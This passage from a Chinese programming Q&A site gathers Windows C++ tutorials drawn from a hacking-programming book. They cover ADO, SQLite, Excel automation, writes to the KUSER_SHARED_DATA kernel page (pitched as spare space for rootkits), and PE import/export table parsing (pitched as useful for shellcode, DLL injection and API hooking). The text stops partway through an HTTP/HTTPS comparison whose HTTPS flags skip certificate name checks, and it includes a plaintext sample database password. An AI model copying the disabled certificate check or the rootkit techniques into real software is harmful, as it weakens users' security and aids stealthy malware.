    Provider=MSDAORA.1; Password=sa123; User ID=system; Data Source=192.168.0.221/orcl; Persist Security Info=True
    MySQL连接字符串
    Driver=MySQL ODBC 5.2 ANSI Driver;SERVER=192.168.0.221;UID=用户名;PWD=密码;DATABASE=test;PORT=端口(默认填写3306)
    // 以ADO方式连接数据库BOOL ADOConnectDatabase(_bstr_t ConnectionString, _bstr_t UserID, _bstr_t Password){ // 初始化COM对象 ::CoInitialize(NULL); try { // 创建Connection对象 HRESULT hr = g_pConnection.CreateInstance("ADODB.Connection"); if (SUCCEEDED(hr)) { // 连接超时时间 5 秒 g_pConnection->ConnectionTimeout = 5; // 连接数据库 g_pConnection->Open(ConnectionString, UserID, Password, adModeUnknown); return TRUE; } } catch (_com_error e) { ::MessageBox(NULL, e.Description(), e.ErrorMessage(), MB_OK); } return FALSE;}
    执行非查询操作的SQL语句
    首先,我们调用 _ConnectionPtr::BeginTrans 函数,开始事务
    然后,调用 _ConnectionPtr::Execute 函数执行SQL语句,这里可以提交多条SQL语句。在调用 Execute 函数的时候,数据库还没有执行SQL语句,此时SQL语句还没有生效
    最后,我们调用 _ConnectionPtr::CommitTrans 函数提交事务,这时所提交的SQL语句开始按提交顺序执行。如果出错,则调用 _ConnectionPtr::RollbackTrans 函数回滚并结束事务

    // 执行操作SQL语句BOOL ExecuteSQL(char *pszSQL){ _variant_t ra; // 开始事务 g_pConnection->BeginTrans(); try { // 执行SQL语句 g_pConnection->Execute((_bstr_t)pszSQL, &ra, adCmdText); // 提交事务 g_pConnection->CommitTrans(); return TRUE; } catch (_com_error e) { ::MessageBox(NULL, e.Description(), e.ErrorMessage(), MB_OK); } // 如果出现错误,回滚并结束事务 g_pConnection->RollbackTrans(); return FALSE;}
    执行查询操作的SQL语句查询SQL语句与其它操作的SQL语句不一样,它不是使用 _ConnectionPtr 对象进程操作的,而是使用记录集对象 _RecordsetPtr 来进行实现。

    首先,我们调用 _RecordsetPtr::CreateInstance 函数创建并初始化记录集对象
    然后,_RecordsetPtr::Open 函数打开记录集并执行查询SQL语句,将查询结果,返回到记录集中

    // 执行查询SQL语句BOOL SearchSQL(char *pszSQL){ // 初始化记录集对象 g_pRecordset.CreateInstance(_uuidof(Recordset)); // 打开记录集 g_pRecordset->Open((LPCTSTR)pszSQL, g_pConnection.GetInterfacePtr(), adOpenDynamic, adLockOptimistic, adCmdText); if (NULL == g_pRecordset) { ::MessageBox(NULL, "读取数据库记录出错", "ERROR", MB_OK); return FALSE; } return TRUE;}
    程序测试我们在 main 函数中调用上述封装好的函数,连接数据库,执行创建demongan数据库表的SQL语句,执行向demongan表插入5条数据的SQL语句,执行查询demongan表所有数据并显示在程序上。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ BOOL bRet = FALSE; char szSQL[MAX_PATH] = {0}; // 连接数据库 bRet = ADOConnectDatabase("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb", "", ""); if (FALSE == bRet) { printf("Connect Database Error.\n"); } printf("Connect Database OK.\n"); // 执行SQL语句,创建表 demongan ::wsprintf(szSQL, "CREATE TABLE demongan(ID int, Name varchar(20), Age int)"); bRet = ExecuteSQL(szSQL); if (FALSE == bRet) { printf("Create Table Error.\n"); } printf("Create Table OK.\n"); // 执行SQL语句,插入 5 条记录 for (int i = 0; i < 5; i++) { ::wsprintf(szSQL, "INSERT INTO demongan(ID, Name, Age) VALUES(%d, \'%s%d\', %d)", i, "Name", i, i + 1); bRet = ExecuteSQL(szSQL); if (FALSE == bRet) { printf("Insert Value Error.\n"); } } printf("Insert Value OK.\n"); // 查询数据 ::wsprintf(szSQL, "SELECT * FROM demongan"); bRet = SearchSQL(szSQL); if (FALSE == bRet) { printf("Search Value Error.\n"); } printf("Search Value OK.\n"); // 从记录集中获取数据并显示 _variant_t varID, varName, varAge; while (!g_pRecordset->adoEOF) { // 获取每个字段对应的数据 varID = g_pRecordset->GetCollect("ID"); varName = g_pRecordset->GetCollect("Name"); varAge = g_pRecordset->GetCollect("Age"); // 注意要强制转换下显示类型 printf("%s\t%s\t%s\n", (LPCTSTR)_bstr_t(varID), (LPCTSTR)_bstr_t(varName), (LPCTSTR)_bstr_t(varAge)); // 获取下一行数据 g_pRecordset->MoveNext(); } system("pause"); return 0;}
    我们直接运行程序,程序提示运行成功,成功连接数据库、创建表、插入数据、查询数据并显示查询结果:

    我们打开数据库文件,直接查看,数据成功被插入:

    总结数据库操作要注意 3 个关键点:

    一是与数据库的连接,要注意连接字符串一定要写正确,不同类型的数据库,连接字符串也会不同
    二是执行数据库的增加、删除、修改等除查询操作之外的SQL语句,先要开始事务,待所有SQL语句提交完毕后,再一次提交事务,交由数据库操作
    三是执行数据库的查询语句,查询结果,需要从记录集中一条一条循环获取,要注意循环结束的条件

    其中,在显示从数据集获取的数据的时候,我们要对数据进行(LPCTSTR)强制转化你,例如 (LPCTSTR)_bstr_t(varName),否则数据不能正常显示。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-31 09:58:59
  • 使用VS2013创建并操作SQLite数据库

    背景很早就听说过SQLite数据库了,但是自己一直都没有去接触它。一天,群友在Q群里提问有没有人使用VS写过关于SQLite数据库的例子。霎时间,我知道自己是时候要与SQLite邂逅了。

    SQLite 是一个软件库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。SQLite 是在世界上最广泛部署的 SQL 数据库引擎,而且源代码不受版权限制。

    本文就是要实现这样的一个小程序,使用VS2013加载SQLite数据库的库文件,并实现使用SQL语句新建表、对表插入数据并查询数据的功能。现在,我就把实现过程整理成文档,分享给大家。
    使用VS2013编译SQLite数据库的库文件在使用 SQLite 数据库之前,我们需要到 SQLite官网 上下载SQLite数据库的源码文件以及二进制文件。本文演示使用的下载文件是“sqlite-amalgamation-3190300.zi p” 和 “sqlite-dll-win32-x86-3190300.zip”。
    编译库文件首先,我们先解压二进制压缩文件 “sqlite-dll-win32-x86-3190300.zip”,解压后目录下有两个文件,分别是 “sqlite3.dll” 和 “sqlite3.def”,现在,我们需要使用VS2013 来帮助编译得到 .lib 库文件。编译过程就是在命令行CMD下输入:
    "C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\lib.exe" /MACHINE:IX86 /DEF:C:\Users\DemonGan\Desktop\sqlite-dll-win32-x86-3190300\SQLite3.def /OUT:C:\Users\DemonGan\Desktop\sqlite-dll-win32-x86-3190300\SQLite3.lib其中,”C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\lib.exe”就是你的VS2013自带的 lib.exe 程序路径;C:\Users\DemonGan\Desktop\sqlite-dll-win32-x86-3190300\SQLite3.def就是解压文件目录中SQLite3.def的路径;C:\Users\DemonGan\Desktop\sqlite-dll-win32-x86-3190300\SQLite3.lib就是保存生成的库文件SQLite.lib的输出路径。
    这样,我们就在目录下生成了“SQLite3.lib”库文件。

    向VS2013工程中导入SQLite库文件配置这时,我们继续解压“sqlite-amalgamation-3190300.zip”,将解压目录下的 “sqlite3.h” 头文件和 “SQLite3.lib” 库文件一起拷贝到工程目录下。然后,在工程中添加头文件和库文件:
    #include "sqlite3.h"#pragma comment(lib, "sqlite3.lib")
    这样,就可以在项目工程中,使用SQLite数据库了。
    实现过程首先,我们使用 sqlite3_open 函数根据数据库文件名称创建 SQLite 数据库。sqlite3_open 函数的第 1 个参数表示要创建的数据库名称,第 2 个参数获取数据库创建成功后的数据库句柄。
    // 打开数据库,创建连接 int iRet = sqlite3_open(szFileName, &conn); if (SQLITE_OK != iRet) { ShowError("sqlite3_open"); return 1; }
    然后,我们就可以直接调用 sqlite3_exec 函数执行SQL语句,来对数据库进行操作。其中, sqlite3_exec 函数的第 1 个参数表示数据库的句柄;第 2 个参数表示SQL语句;第 3 个参数表示回调函数,每成功执行一次SQL语句就执行一次回调函数;第 4 个参数表示回调函数返回的数据信息。
    现在,我们执行SQL语句 “CREATE TABLE demongan(ID int, Name varchar (20), Age int)”来创建一个名为demongan的表:
    // 执行SQL语句,创建表demongan ::wsprintf(szSQL, "CREATE TABLE demongan(ID int, Name varchar(20), Age int)"); iRet = sqlite3_exec(conn, szSQL, NULL, NULL, &szErr); if (SQLITE_OK != iRet) { ShowError("sqlite3_exec", szErr); return 2; }
    然后,继续调用 sqlite3_exec 函数执行SQL语句,将数据插入数据库中:
    // 执行SQL语句,插入10条记录 for (i = 0; i < 10; i++) { ::wsprintf(szSQL, "INSERT INTO demongan(ID, Name, Age) VALUES(%d, \'%s%d\', %d)", i, "Name", i, i + 1); iRet = sqlite3_exec(conn, szSQL, NULL, NULL, &szErr); if (SQLITE_OK != iRet) { ShowError("sqlite3_exec", szErr); return 3; } }
    接着,继续调用 sqlite3_exec 函数执行SQL语句,查询数据库,注意此处需要传入第 3 个参数,也就是回调函数,以此来显示查询结果:
    // 执行SQL语句,查询记录 ::wsprintf(szSQL, "SELECT * FROM demongan"); iRet = sqlite3_exec(conn, szSQL, sqlite3_exec_callback, NULL, &szErr); if (SQLITE_OK != iRet) { ShowError("sqlite3_exec"); return 4; }
    那么,回调函数 sqlite3_exec_callback 的函数名称是任意的,但是参数是固定的。一共有 4 个参数,第 1 个参数是由 sqlite3_exec 函数的第 4 个参数传递而来;第 2 个参数是表的列数;第 3 个参数表示查询到的值的指针数组;第 4 个参数表示列名即字段名指针数组。
    本文回调函数 sqlite3_exec_callback 的代码如下,
    int sqlite3_exec_callback(void *data, int colNum, char **colValue, char **colName){ int i = 0; for (i = 0; i < colNum; i++) { printf("%s[%s]\t", colName[i], colValue[i]); } printf("\n"); return 0;}
    程序测试将解压文件中的 “SQLite3.dll” 拷贝到工程编译链接生成的 exe 程序同一目录下,运行 exe 程序,成功显示数据库查询结果:

    总结使用SQLite数据库确实很方便,不需要安装额外的数据库环境,就可以通过SQL语句去操作数据库。这个程序的实现过程不是很繁杂,只要跟着上述介绍的步骤,仔细编码就可实现。
    同时,也应该注意的是,需要把解压文件中的 “SQLite3.dll” 拷贝到工程编译链接生成的 exe 程序同一目录下,这样程序才能正常运行。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-30 20:40:57
  • 使用VS2013实现对Excel表格的读写

    背景有一天,一位网友加入了我的Q群,然后又通过Q群私信我,向我请教如何使用VS读写excel文件表格的问题。其实,在ta向我请教的时候,我也没有写过这样功能模块或是开发过类似的小程序。但,仍是被ta求知的行为感动了,所以决定花些时间去了解这方面的知识,给ta一个答复。
    于是,经过搜索,找到了相关资料,并写了个示例小程序给ta。当然,那个示例小程序并不是本文给的这个程序,本文的示例小程序是为了配合本文的演示,而故意修改的,更适合初学者使用,两者原理和实现上基本上是一样的。
    现在,我就把这个小程序的实现思路和实现过程,写成文档,分享给大家。
    导入操作EXCEL所需的MFC类库我们需要导入MFC类库,来帮助我们实现对EXCEL表格的操作。那么,就要求我们的项目工程支持MFC。类似,WIN32 控制台程序默认是不支持MFC的,所以,在创建项目的时候,要选择支持MFC。
    现在,本文以WIN32 控制台项目工程为例,讲解导入EXCEL所需类库的操作:
    首先,在“Win32应用程序向导”窗口中,注意要选择“添加公共头文件以用于:MFC”。然后点击“完成”,成功创建项目工程。

    进入项目工程中,选中项目,鼠标右键选择“添加” —> “添加类”。在“添加类”对话框中选择“TypeLib中的MFC类”,即基于类型库添加Microsoft基础类库类。

    接着需要选择OLE/COM 组件的路径,也就是你计算机上excel.exe 所在的路径。我的Microsoft Office是安装在F盘,所以excel.exe路径就是:

    F:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE
    路径选择完毕后,需要向项目工程中添加基本的 7 个类( Excel 作为 OLE/COM 库插件,定义好了各类交互的接口,这些接口是跨语言的接口。 VC 可以通过导入这些接口,并通过 接口来对 Excel 的操作), 由于本文只关心对 Excel 表格中的数据的读取,主要关注 7 个接口:_Application、Workbooks、_Workbook、Worksheets、_Worksheet、Range、Font。
    添加完毕后,点击“完成”,即可成功添加 7 个类到项目工程中。

    成功添加 7 个类之后,项目工程会新增 7 个类库的头文件:

    但是,如果我们直接编译项目工程的话,会报错的。所以,现在需要对上述生成的 7 个头文件进行修改:
    将每个头文件顶头的:

    “#import “F:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE” no_namespace”
    注释掉。并添加头文件:”#include <afxdisp.h>“

    修改完毕后,再编译程序,若报错,而且错误号为“C2059”,则双击错误,跳转到错误代码行。然后将 将VARIANT DialogBox() 改成 VARIANT _DialogBox() ,再次编译,即可编译通过。


    实现原理从EXCEL表格中读取数据
    首先,使用CApplication::CreateDispatch创建Excel.Application对象,并获取工作簿CWorkbooks
    接着,使用CWorkbooks::Open打开excel表格文件,并获取工作表对象CWorksheets
    然后使用CWorksheets::get_Item获取指定的工作表对象CWorksheet。本文是获取第 1 张工作表
    接着,我们可以调用CWorksheet::get_Range获取读取表格的范围。本文是获取 A1—A1 范围的表格
    然后,对表格内容弹窗输出
    最后,关闭对象,进行清理工作

    向EXCEL表格中写入数据
    首先,使用CApplication::CreateDispatch创建Excel.Application对象,并获取工作簿CWorkbooks
    接着,使用CWorkbooks::Add新添加一个工作簿,并使用CWorkbook::get_Worksheets获取工作表对象
    然后使用CWorksheets::get_Item获取指定的工作表对象CWorksheet。本文是获取第 1 张工作表
    接着,我们可以调用CWorksheet::get_Range获取表格的范围。本文是获取 A1—C3 范围的表格。并调用CRange::put_Value2将表格写入数据,并设置字体以及列宽
    然后,调用CWorkbook::SaveAs保存文件
    最后,关闭对象,进行清理工作

    编码实现从EXCEL表格中读取数据// 读取BOOL MyExcel::ReadExcel(){ //导入 COleVariant covOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR); if (!app.CreateDispatch(_T("Excel.Application"))) { ::MessageBox(NULL, "无法创建Excel应用!", "WARNING", MB_OK); return TRUE; } books = app.get_Workbooks(); //打开Excel,其中pathname为Excel表的路径名 lpDisp = books.Open(_T("C:\\Users\\DemonGan\\Desktop\\test.xlsx"), covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional); book.AttachDispatch(lpDisp); sheets = book.get_Worksheets(); sheet = sheets.get_Item(COleVariant((short)1)); //获得坐标为(A,1) -- (A,1)的单元格 range = sheet.get_Range(COleVariant(_T("A1")), COleVariant(_T("A1"))); //获得单元格的内容 COleVariant rValue; rValue = COleVariant(range.get_Value2()); //转换成宽字符 rValue.ChangeType(VT_BSTR); //转换格式,并弹窗输出 ::MessageBox(NULL, CString(rValue.bstrVal), "RESULT", MB_OK); book.put_Saved(TRUE); // 退出 app.Quit(); app.ReleaseDispatch(); app = NULL; return TRUE;}
    向EXCEL表格中写入数据// 写入BOOL MyExcel::WriteExcel(){ //导出 COleVariant covOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR); if (!app.CreateDispatch(_T("Excel.Application"))) { ::MessageBox(NULL, "无法创建Excel应用!", "WARNING", MB_OK); return TRUE; } books = app.get_Workbooks(); book = books.Add(covOptional); sheets = book.get_Worksheets(); sheet = sheets.get_Item(COleVariant((short)1)); //获得坐标为(A,1)和(C,3)范围区域的9个单元格 range = sheet.get_Range(COleVariant(_T("A1")), COleVariant(_T("C3"))); //设置单元格类容为World Of Demon range.put_Value2(COleVariant(_T("CDIY"))); //选择整列,并设置宽度为自适应 cols = range.get_EntireColumn(); cols.AutoFit(); //设置字体为粗体 font = range.get_Font(); font.put_Bold(COleVariant((short)TRUE)); //获得坐标为(D,4)单元格 range = sheet.get_Range(COleVariant(_T("D4")), COleVariant(_T("D4"))); //设置公式“=RAND()*100000” range.put_Formula(COleVariant(_T("=RAND()*100000"))); //设置数字格式为货币型 range.put_NumberFormat(COleVariant(_T("$0.00"))); //选择整列,并设置宽度为自适应 cols = range.get_EntireColumn(); cols.AutoFit(); //显示Excel表// app.put_Visible(TRUE);// app.put_UserControl(TRUE); // 保存excel表 COleVariant vTrue((short)TRUE), vFalse((short)FALSE), vOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR); COleVariant vFileName(_T("C:\\Users\\DemonGan\\Desktop\\test.xlsx")); book.SaveAs( vFileName, //VARIANT* FileName vOptional, //VARIANT* FileFormat vOptional, //VARIANT* LockComments vOptional, //VARIANT* Password vOptional, //VARIANT* AddToRecentFiles vOptional, //VARIANT* WritePassword 0, //VARIANT* ReadOnlyRecommended vOptional, //VARIANT* EmbedTrueTypeFonts vOptional, //VARIANT* SaveNativePictureFormat vOptional, //VARIANT* SaveFormsData vOptional, //VARIANT* SaveAsAOCELetter vOptional //VARIANT* ReadOnlyRecommended ); // 退出 app.Quit(); app.ReleaseDispatch(); app = NULL; return TRUE;}
    程序测试在 main 函数中调用上述封装好的函数,进行测试。 main 函数为:
    int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]){ int nRetCode = 0; HMODULE hModule = ::GetModuleHandle(NULL); if (hModule != NULL) { // 初始化 MFC 并在失败时显示错误 if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0)) { // TODO: 更改错误代码以符合您的需要 _tprintf(_T("错误: MFC 初始化失败\n")); nRetCode = 1; } else { // TODO: 在此处为应用程序的行为编写代码。 MyExcel myExcel; // 写入数据 myExcel.WriteExcel(); printf("Write OK.\n"); system("pause"); // 读取数据 myExcel.ReadExcel(); printf("Read OK.\n"); system("pause"); } } else { // TODO: 更改错误代码以符合您的需要 _tprintf(_T("错误: GetModuleHandle 失败\n")); nRetCode = 1; } return nRetCode;}
    测试结果
    运行程序,提示写入EXCEL表格成功。

    然后,打开生成的“test.xlsx”文件,数据被成功写入。

    然后,我们继续执行程序,EXCEL表格中的“A1”个的数据成功读取,并弹窗显示。

    总结这个小程序,主要是前期创建工程的时候需要注意,如果你创建的是MFC,那么就跟着上述步骤,导入操作EXCEL所需的MFC类库。但,如果你创建的是其他工程,例如Win32工程,那么在创建的过程中,就应该选择包含MFC的功能,因为程序需要导入操作EXCEL所需的MFC类库,所以工程必须要支持MFC。
    1 回答 2018-12-26 12:56:13
  • 内核KUSER_SHARED_DATA共享区域的验证

    背景无论是在 32 位系统内存分布,还是在 64 位系统内存分布中,我们知道高地址空间分配给系统内核使用,低地址空间分配给用户进程使用。
    事实上,用户空间和内核空间其实有一块共享区域,大小为 4 KB。它们的内存地址虽然不一样,但是它们都是有同一块物理内存映射出来的。现在,本文就是要实现一个这样的程序,去验证这块共享区域的存在。
    实现原理用户空间和内核空间的共享区域,大小为 4 KB,内核占用其中一小部分,但 Rootkit 应该大约还有 3 KB 空间可使用。这两个虚拟内存地址都映射到同一物理页面,内核程序对这块共享区域有可读、可写的权限,用户程序对这块共享区域只有只读的权限。
    其中,对于 32 位系统和 64 位系统来说,这块共享区域对应的内核地址范围以及对应用户空间的地址范围如下表所示:




    内核起始地址
    内核结束地址
    用户起始地址
    用户结束地址




    32 系统
    0xFFDF0000
    0xFFDF0FFF
    0x7FFE0000
    0x7FFE0FFF


    64 系统
    0xFFFFF780`00000000
    0xFFFFF780`00000FFF
    0x7FFE0000
    0x7FFE0FFF



    由上面可以看出,32 位系统和 64 位系统下,该共享区域的内核地址是不同的,而用户空间上的地址都是相同的。
    这块共享区域的名称是 KUSER_SHARED_DATA,想要获得关于该共享区域的更过详细解释,可以在 WinDbg 中输入:dt nt!_KUSER_SHARED_DATA 来获取信息。
    本文演示的程序,就是在 KUSER_SHARED_DATA 的内核内存中写入数据,然后,由用户称程序读取写入的数据,以此验证 KUSER_SHARED_DATA 区域的存在。
    编码实现用户层程序int _tmain(int argc, _TCHAR* argv[]){ // 要偏移 1 KB 大小读取数据, 因为写入的时候是偏移 1 KB 大小写入的 void *pBaseAddress = (void *)(0x7FFE0000 + 0x400); printf("[Share Data]%s\n", pBaseAddress); system("pause"); return 0;}
    内核层程序// 向共享区域中写入数据BOOLEAN WriteShareData(PCHAR pszData, ULONG ulDataSize){ PVOID pBaseAddress = NULL; // 偏移 1 KB 写入数据, 因为系统会占用大约 1 KB 的空间#ifdef _WIN64 // 64 Bits pBaseAddress = (PVOID)(0xFFFFF78000000000 + 0x400);#else // 32 Bits pBaseAddress = (PVOID)(0xFFDF0000 + 0x400);#endif // 写入 RtlCopyMemory(pBaseAddress, pszData, ulDataSize); return TRUE;}
    程序测试在 Windows7 32 位系统下,驱动程序正常执行:

    在 Windows10 64 位系统下,驱动程序正常执行:

    总结注意,这块共享区域主要是用来在用户层和内核层之间快速的传递信息的,会占用大约 1 KB 大小的空间。所以,我们通常偏移 0x400 大小处写入我们自己的数据,这样,就不会影响原来的内核代码的正常运行了。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-25 09:01:31
  • 根据PE文件格式从导入表中获取加载的DLL并遍历导入函数名称和地址

    背景了解 PE 文件格式,对于做一些数据分析都是比较重要的基础。在 PE 文件格式中,理解导入表以及导出表的工作原理,又是重中之重。理解了 PE 格式的导入表,就可以修改 PE 格式进行 DLL 注入,也可以修改导入表实现 API HOOK 等。理解了 PE 格式的导出表,可以不需要 WIN32 API 函数就可以根据 DLL 加载基址定位出导出函数的名称和导出函数的地址,这在 SHELLCODE 的编写中,比较重要。
    本文主要介绍导入表。给出一个 DLL 的加载基址,然后我们根据导入表获取它需要加载的 DLL 以及遍历所有导入函数名称及其函数地址。现在,我把实现过程整理成文档,分享给大家。
    实现原理我们根据 PE 文件格式结构中的导入表工作原理来进行实现,实现原理如下所示:

    首先,我们根据 DLL 加载基址,也就是 PE 文件结构的起始地址,从 DOS 头获取 NT 头,并根据 NT 头中的 OptionalHeader.DataDirectory 的导入表选项,获取导入表的偏移位置以及数据大小
    我们来到导入表的数据偏移处,获取导入的 DLL 名称偏移 Name,并显示 DLL 名称
    接着,根据导入表中导入函数名称的地址偏移 OriginalFirstThunk,并根据 IMAGE_IMPORT_BY_NAME 数据结构从中获取导入函数名称及其函数索引并显示。同时,也从 FirstThunk 导入函数地址列表中获取对应位置的导入函数地址并显示。继续循环获取下一个函数名称,直到遍历完毕
    继续获取下一个 DLL,重复上诉第 3 步,直到 DLL 获取完毕

    其中,在导入表中,OriginalFirstThunk 的导入函数名称列表和 FirstThunk 导入函数地址列表一一对应。
    编码实现// 遍历导入表中的DLL、导入函数及其函数地址BOOL GetProcessDllName(PVOID lpBaseAddress){ LPVOID lpFunc = NULL; // 获取导入表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE *)pDosHeader + pDosHeader->e_lfanew); PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); // 获取导入表的数据 char *pszDllName = NULL; PIMAGE_THUNK_DATA pThunkData = NULL; PIMAGE_IMPORT_BY_NAME pImportByName = NULL; PIMAGE_THUNK_DATA pImportFuncAddr = NULL; while (0 != pImportTable->Name) { // 获取DLL的名称 pszDllName = (char *)((BYTE *)pDosHeader + pImportTable->Name); printf("---------- DLL Name = %s ----------\n", pszDllName); // 遍历 DLL 中导入函数的名称 pThunkData = (PIMAGE_THUNK_DATA)((BYTE *)pDosHeader + pImportTable->OriginalFirstThunk); pImportFuncAddr = (PIMAGE_THUNK_DATA)((BYTE *)pDosHeader + pImportTable->FirstThunk); while (TRUE) { if (0 == pThunkData->u1.AddressOfData) { break; } // 获取导入函数名称和序号 pImportByName = (PIMAGE_IMPORT_BY_NAME)((BYTE *)pDosHeader + pThunkData->u1.AddressOfData); printf("[%d]\t%s\t", pImportByName->Hint, pImportByName->Name); // 获取导入函数地址 printf("[0x%p]\n", (PVOID)((BYTE *)pDosHeader + pImportFuncAddr->u1.Function)); // 获取下一个函数名称和地址 pThunkData++; pImportFuncAddr++; } // 获取下一个DLL pImportTable++; } return TRUE;}
    程序测试我们直接运行程序,程序正确列出导入的DLL及遍历出导入函数名称和地址:

    总结这个程序不是很复杂,但是关键是要理解 PE 文件结构的导入表,要理解清楚导入表的工作原理。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-24 09:14:38
  • 根据PE文件格式从导出表中获取指定导出函数的地址

    背景了解 PE 文件格式,对于做一些数据分析都是比较重要的基础。在 PE 文件格式中,理解导入表以及导出表的工作原理,又是重中之重。理解了 PE 格式的导入表,就可以修改 PE 格式进行 DLL 注入,也可以修改导入表实现 API HOOK 等。理解了 PE 格式的导出表,可以不需要 WIN32 API 函数就可以根据 DLL 加载基址定位出导出函数的名称和导出函数的地址,这在 SHELLCODE 的编写中,比较重要。
    本文主要介绍导出表。给出一个 DLL 的加载基址和导出函数的名称,获取 DLL 中导出函数对应的导出地址。现在我把程序的实现过程整理成文档,分享给大家。
    实现原理我们根据PE文件格式结构中的导出表工作原理来进行实现,实现原理如下所示:

    首先,我们根据 DLL 加载基址,也就是 PE 文件结构的起始地址,从 DOS 头获取 NT 头,并根据 NT 头中的 OptionalHeader.DataDirectory 的导出表选项,获取导出表的偏移位置以及数据大小
    我们来到导出表的数据偏移处,获取导出函数名称的数量以及导出函数名称的地址列表偏移
    接着,我们开始根据导出表中导出名称的地址偏移列表遍历每一个导出函数的名称,与要寻找的导出函数名称进行匹配。若没有找到,则继续匹配下一个函数名称。若找到,则获取对应偏移的 AddressOfNameOrdinals 的值,这个值就是表示该导出函数在导出函数列表中的位置。这样,我们就可以在导出表 AddressOfFunctions 中获取相应的导出函数地址,并结束遍历,执行返回

    其中,在导出表中 AddressOfName 与 AddressOfNameOrdinals 的值是一一对应的,而 AddressOfName 与 AddressOfFunctions 的值并不是一一对应的。因为导出函数中,并不是所有的导出函数都会有名称,有的导出函数只有导出索引而已。所以,PE 结构便创建 AddressOfNameOrdinals 字段来保存有导出函数名称的函数在 AddressOfFunctions 导出函数地址列表中的位置。
    编码实现// 获取DLL的导出函数// lpBaseAddress: 内存DLL文件加载到进程中的加载基址// lpszFuncName: 导出函数的名字// 返回值: 返回导出函数的的地址LPVOID PEGetProcAddress(LPVOID lpBaseAddress, PCHAR lpszFuncName){ LPVOID lpFunc = NULL; // 获取导出表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE *)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE *)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的数据 PDWORD lpAddressOfNamesArray = (PDWORD)((BYTE *)pDosHeader + pExportTable->AddressOfNames); PCHAR lpFuncName = NULL; PWORD lpAddressOfNameOrdinalsArray = (PWORD)((BYTE *)pDosHeader + pExportTable->AddressOfNameOrdinals); WORD wHint = 0; PDWORD lpAddressOfFunctionsArray = (PDWORD)((BYTE *)pDosHeader + pExportTable->AddressOfFunctions); DWORD dwNumberOfNames = pExportTable->NumberOfNames; DWORD i = 0; // 遍历导出表的导出函数的名称, 并进行匹配 for (i = 0; i < dwNumberOfNames; i++) { lpFuncName = (PCHAR)((BYTE *)pDosHeader + lpAddressOfNamesArray[i]); if (0 == ::lstrcmpi(lpFuncName, lpszFuncName)) { // 获取导出函数地址 wHint = lpAddressOfNameOrdinalsArray[i]; lpFunc = (LPVOID)((BYTE *)pDosHeader + lpAddressOfFunctionsArray[wHint]); break; } } return lpFunc;}
    程序测试我们直接运行程序,获取程序中的 GetModuleHandleA 函数的导出地址,并与 API 函数 GetProcAddress 获取的地址进行比较,结果相同。

    总结这个程序不是很复杂,但是关键是要理解 PE 文件结构的导出表,要理解清楚导出表的工作原理。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-23 17:23:48
  • 基于WinInet的HTTP与HTTPS数据传输上传与下载的对比总结

    背景之前就是用WinInet库写了HTTP文件上传和下载以及HTTPS文件上传和下载的小程序,现在,要特意写一篇文章来总结HTTP和HTTPS之间文件上传和文件下载之间的异同点。当然,本文只是从编程开发的角度进行总结,并不是从协议本身去比较。
    HTTP与HTTPS文件下载的异同点


    操作
    HTTP文件下载
    HTTPS文件下载
    异或同




    建立会话
    ::InternetOpen(“WinInetGet/0.1”, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    ::InternetOpen(“WinInetGet/0.1”, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    相同


    建立连接
    :InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTP_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0);
    ::InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTPS_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0);
    端口有区别


    打开请求
    dwOpenRequestFlags = INTERNET_FLAG_IGNORE_RE DIRECT_TO_HTTP|INTERNET_FLAG_KEEP_CON NECTION|INTERNET_FLAG_NO_AUTH|INTERNET_FLAG_NO_COOKIES|INTERNET_FLAG_NO_UI;
    dwOpenRequestFlags = INTERNET_FLAG_IGNORE_RE DIRECT_TO_HTTP|INTERNET_FLAG_KEEP_CON NECTION|INTERNET_FLAG_NO_AUTH|INTERNET_FLAG_NO_COOKIES|INTERNET_FLAG_NO_UI|INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_RELOAD;
    请求标志不同


    发送请求
    ::HttpSendRequest(hRequest, NULL, 0, NULL, 0);
